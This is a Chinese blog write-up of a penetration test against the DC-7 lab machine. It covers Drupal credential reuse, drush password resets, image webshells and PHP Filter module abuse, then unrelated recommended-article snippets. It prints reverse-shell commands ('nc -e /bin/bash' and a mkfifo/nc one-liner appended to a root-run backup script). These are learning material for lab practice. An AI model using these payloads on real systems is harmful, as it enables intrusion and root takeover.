DC-7 靶机渗透测试
DC-7 渗透测试
冲冲冲,好好学习 。对管道符的理解加深了好多。最后提权时,遇到了点麻烦。想不懂一条命令为啥能执行生效,耗了一整天才算解决掉。
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.138
网络模式:NAT
netdiscover
172.66.66.138
dirb http://172.66.66.138
nmap -sV -A -p- 172.66.66.138
22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt
访问一下观察研究网站页面,
有一个搜索框,还发现左下角的 @DC7USER
,这个是什么东西,好陌生。百度一下
于是找到这个东西,进去把源码down了下来,那就代码审计咯
(好一个脚本小子...)一个个去看看,显示文件包含漏洞出在 footer标签里,标签定义文档或者文档的一部分区域的页脚。<footer>
元素应该包含它所包含的元素的信息。
在典型情况下,该元素会包含文档创作者的姓名、文档的版权信息、使用条款的链接、联系信息等等。
在一个文档中,您可以定义多个<footer>
元素。
代码含义:先定义了变量$file = 'contact-info.php'
,再判断 变量对应的文件是或存在,存在则包含,否则 通过 _GET[ ] 获取$file
的值,不经过滤直接包含变量进来。从代码逻辑上看,仿佛没毛病,要执行的前提是预定义的变量$file = 'contact-info.php'
不存在。
哈哈哈哈哈脑子进水了.....敲一下自己。一上来傻乎乎的审计,配置文件这么重要都不看完,在config.php
里看到了数据库账号密码
$username = "dc7user";
$password = "MdR3xOgB7#dW";
登录失败,记得开了22端口,试试ssh登录。
登录成功,提示有新邮件,在``/var/mail/`查看 mbox ,好长的内容
是个备份的内容,/opt/scripts/backups.sh
目标文件所有者是 root ,所属组 是www-data,
当前用户:输入 id
uid=1000(dc7user) #当前用户的 唯一标识 uid 1000
gid=1000(dc7user) #当前用户的 所属组
dc7user
groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 属于的其他组
当前用户是backups.sh的其他人
,权限只有 r w读写。仿佛这些发现没用,放弃,找下一个思路。
出来挨打 >.<
“所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
获得的主要信息:
Shell脚本文件 /opt/scripts/backups.sh
数据库文件:/home/dc7user/backups/website.sql
网站数据: /home/dc7user/backups/website.tar.gz
可见.gpg后缀,文件是经过加密的(为什么我没有想到破解呢???自己反省一下)。有俩比较陌生的命令 drush 和 gpg(一种加密方式)。百度一圈得知可用 drush来修改任意用户的密码drush user-password 用户名 --password="密码"
想到爆破没?可以去试试,gpg秘钥解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也获得不到有用的信息。
从backups.sh
中我们看到,使用drush
备份数据库的时候,先切换目录至/var/www/html
,所以我们也先切换目录至/var/www/html/
cd 到/var/www/html 下使用,(盲猜的后台管理员账号 admin ,在登录页面,输入不存在的账号,会提示该账号未注册。)
改完密码,登录试试,登进去之后
寻找可利用的地方,
此处的代码没有被解析,只原样输出了,绕过无果。再找找其他看
有图片上传框,想到图片马?
如何制作图片马还记得吗?
windows下,先准备两个 文件:
tupian.png ma.php
打开cmd ,在当前路径下执行:
copy tupian.png/b+ma.php/a new.png
/b是以二进制格式复制/合并文件,适用于图片或者声音类文件。
/a是指定ascii格式复制/合并文件,适用于txt等文本类型。
传上去了,但是菜刀连接不上,我马呢?能确认上传路径是没有错的,那是为什么呢,
没有cookie吗?登录一下网页再试试
浏览网页,admin登录,再次尝试连接一句话,仍然失败。图片没有执行吗?思路断。
记得前面的靶机中,drupal有个模块可以执行php代码来着。
寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。
在线下载安装,或者本地上传模块安装。drupal官网找找模块在哪,当前drupal为8.7.6版本。
在此处下载PHP Filter模块http://drupal.org/project/php
,上图可见,下载的应该是 .gz文件,服务器linux的压缩文件也应该是 .gz
执行成功,尝试提权。
<?php system("nc -e /bin/bash 172.66.66.129 8888");?>
<?php system("$_GET['a']");?>
再访问:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888
python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'
然后呢?思路感觉又断了 >.< 看了下大佬们的wp,抄来了这条一寸长的命令。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh
往backups.sh里 追加 地写入这个命令,拆分一下理解理解
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f
rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)
mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)
cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
原理上讲也没啥难度,跟之前写的fantanshell笔记里的都一样,换个方式唯一,核心道理一模一样。
但是有个疑问:为啥执行这命令后,nc反弹的shell,是root权限? 是哪里导致的身份成了 root ?
当前用户是 www-data ,backups.sh所有者是root,所属组是www-data
-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的权限也没有suid呢?
为什么呢?下面是 backups.sh脚本的内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
想不懂一个问题,---------------------------------------------------------------------------------------------------------------------------------------
当前登录用户为 www-data ,id 显示是uid=33(www-data) gid=33(www-data) groups=33(www-data)
现在有个脚本 backups.sh ,权限是 -rwx rwx r-x root www-data
脚本内容是:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
提权方式 是,在脚本末尾追加写入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f
(命令内容我能理解),写入完成后再执行,开启监听,反弹回来的shell ,就是root权限了。
问题:为什么反弹回来的权限是 root 的?当前用户是 www-data,这个身份执行 脚本,虽然脚本的所有者是root,但好像这个脚本没有suid权限,为啥反弹回来的shell 是root权限的?
为了验证这个问题,(虽然还是没懂为什么,但是想看看究竟是不是这样子的)打开centos 写个脚本测试一下
tmp下随便写个脚本,改一下权限 775 ,改 所有者 为root 和 所属组为zhaocancheng ,脚本内容为验证执行时候的用户id 是否为root ,是root的话就echo。
执行结果并不是root,这就很迷了呀,为啥子哩.....
所以我可以认为,靶机上的脚本运行后能获得 root 权限,跟 文件本身的权限 -rwx rwx r-x root www-data无关吗?我觉得可以... 那难道是 靶机脚本里命令的缘故吗?脚本中使用的命令有 drush、tar、gpg、chown,也能确认跟这些命令没关系...
晚上洗澡忽然想到,上面的centos里的操作,逻辑上不对,得先把账号加入那个组才可以接着下面的步骤。
最后换个思路思考,研究了下脚本里的命令,发现 chown 是只有root才能执行,然而脚本里有这条命令,并且这个提权方式是可行的(已有成功的)。自己本地尝试的时候,普通账号(及时在所属组里)是无法执行脚本的,会报错,提示不允许的操作。
那所以在靶机中,脚本在执行的时候,是root身份在执行了脚本,所以再追加进去的nc 反弹回来才是 root,会不会是 root的计划任务,定期以root身份执行脚本,顺利提权root ,无奈当前用户www-data 无法查看 root 下的计划任务。
最后知道,那个 追加进去的命令好像是 msf 的......
嗯? 磁盘没空间? df -i 看到也没有满呀。啊?打开backups.sh看看
噢噢还真的是说磁盘满了.....然鹅并没有满呀,上面也看到了呀,好吧我电脑也就256G ,确实是满了...
几天后回来想到,这应该是 msf生成的反弹shell后门,需要msf的环境才能执行成功。
最后
- 感觉学到的东西越来越少了,多回顾以前学过的知识,代码审计生疏了好多好多...
- linux用户可以属于多个“组”,
- 看到特殊脚本,打开进去好好看,研究看,仔细看,看,看,看,
- Drush 是Drupal的命令行shell和Unix脚本接口,用于管理druoal网站。当新网站忘记密码,想重置密码,这时候服务器上刚好装着 Drush ,那么恭喜:
drush user-password 用户名 --password="密码"
- gpg 一种加密方式,linux可以安装使用。加密解密也是个知识点。
- 我马呢?我马呢?
- 为什么一句话的图片木马能起效果?原理是什么
- “所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
mkfifo
开心,学到了个神奇的命令。笔记放在另外的地方,篇幅有点长,就不放这里了。
DC-7 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC-4 靶机渗透测试
DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- etcd 添加用户,授权特定目录
适用场景 多组共用etcd集群,创建一个新用户.新目录,让这个新用户只有新目录的使用权限. 命令和顺序 创建目录,注意此处是v2 curl -u root:pwd http://host:2379/v ...
- 在微信小程序中使用阿里图标库Iconfont
首先想要使用图标,只用上图的五个iconfont相关文件就可以了.(下下来的文件iconfont.wxss开始是.css的后缀,手动改成.wxss就可以在小程序中使用) 然后在app.wxss中引入i ...
- Html中的canvas
使用cancas完成袋鼠跳跃的界面,这个是怎么做得呀,我哭了呀
- uniapp 打包IOS 更新AppStore版本
Hello 你好,我是大粽子. 最近随着新版本UI的发布APP也随之更新,随之而来的也就是IOS程序提审步骤,这次我详细的截图了每一个步骤,如果你正好也需要那么跟着我的节奏一步步来肯定是没问题的. 提 ...
- Docker 镜像针对不同语言的精简策略
导航: 这里分为几个部分. 相关转载云原生:米开朗基杨 1.Docker减小镜像体积 2.Docker镜像针对不同语言的精简策略 对于刚接触容器的人来说,他们很容易被自己制作的 Docker 镜像体积 ...
- FastApi持续更新
FastAPI 框架,高性能,易于学习,高效编码,生产可用 官方文档: https://fastapi.tiangolo.com FastAPI 是一个用于构建 API 的现代.快速(高性能)的 ...
- 14、WindowsServer修改NTP时间同步服务器
1. 2. 3.
- Tiling 简单递推+大数
Tiling c[0]=1,c[1]=1,c[2]=3; c[n]=c[n-1]+c[n-2]*2; 0<=n<=250. 大数加法 java time :313ms 1 ...
- 海量数据Excel报表利器——EasyExcel(一 利用反射机制导出Excel)
EasyExcel 写入(导出) 互联网的精髓就是共享,可以共享技术.共享经验.共享情感.共享快乐~ 很多年前就有这个想法了,从事IT行业时间也不短了,应该把自己工作和业余所学习的东西记录并分享出来, ...
- mysql过滤表中重复数据,查询相同数据的特定一条
待操作的表如下: p.p1 { margin: 0; font: 16px Menlo; color: rgba(0, 0, 0, 1) } span.s1 { font-variant-ligatu ...